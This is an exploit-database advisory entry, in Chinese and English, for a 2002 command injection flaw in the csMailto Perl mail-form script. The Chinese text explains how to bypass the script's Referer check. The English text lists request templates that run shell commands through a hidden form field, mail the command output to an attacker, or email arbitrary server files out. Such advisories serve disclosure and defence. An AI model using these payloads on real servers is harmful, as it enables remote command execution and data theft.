https://www.exploit-db.com/exploits/21415
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200208-149

CGIScript.NETcsMailto是一款设计支持多个Mailto:表单的PERL脚本代码。CGIScript.NETcsMailto在处理隐藏表单值时存在问题，可导致攻击者以httpd进程的权限在目标系统上执行任意命令。脚本把所有配置数据存储在隐藏表单中，远程攻击者可以通过更改这些配置数据，导致任意命令以httpd进程的权限在目标系统上执行。脚本没有对所有引用进行检查，只检查了你发送的引用中是否存在服务器主机名，如http://host.com/cgi-script/CSMailto/CSMailto.cgi，脚本就会检查引用中的”host.com”，可利用如下方法绕过这个安全检查：-建立一可以指定任意引用的PERLLWP脚本。-建立在路径中附带目标主机名的本地表单，因此当表单提交时引用就会发送出去(如(C:htmlhost.comform.html)。-建立一附带简单连接的本地HTML页面，并把主机名作为文件名使用如(C:htmlhost.com.html)。

source: http://www.securityfocus.com/bid/4579/info

CGIScript.NET csMailto is a Perl script designed to support multiple mailto: forms. A vulnerability has been reported in some versions of this script.

Reportedly, configuration values used by the script are contained in hidden form values. As a result, a remote attacker may trivially modify these values between script invocations. Consequences include arbitrary command execution on the vulnerable system.

- execute commands on server

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&command=mailform

- execute command on server and mail output to anyone

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&[email protected]&form-autoresponse=YES&command=mailform

- email server file to anyone

CSMailto.cgi?form-attachment=FILEPATH_HERE&[email protected]&form-autoresponse=YES&command=mailform

来源:BID
名称:4579
链接:http://www.securityfocus.com/bid/4579
来源:XF
名称:cgiscript-csmailto-command-execution(8930)
链接:http://www.iss.net/security_center/static/8930.php
来源:BUGTRAQ
名称:20020423CGIscript.net-csMailto.cgi-RemoteCommandExecution
链接:http://archives.neohapsis.com/archives/bugtraq/2002-04/0326.html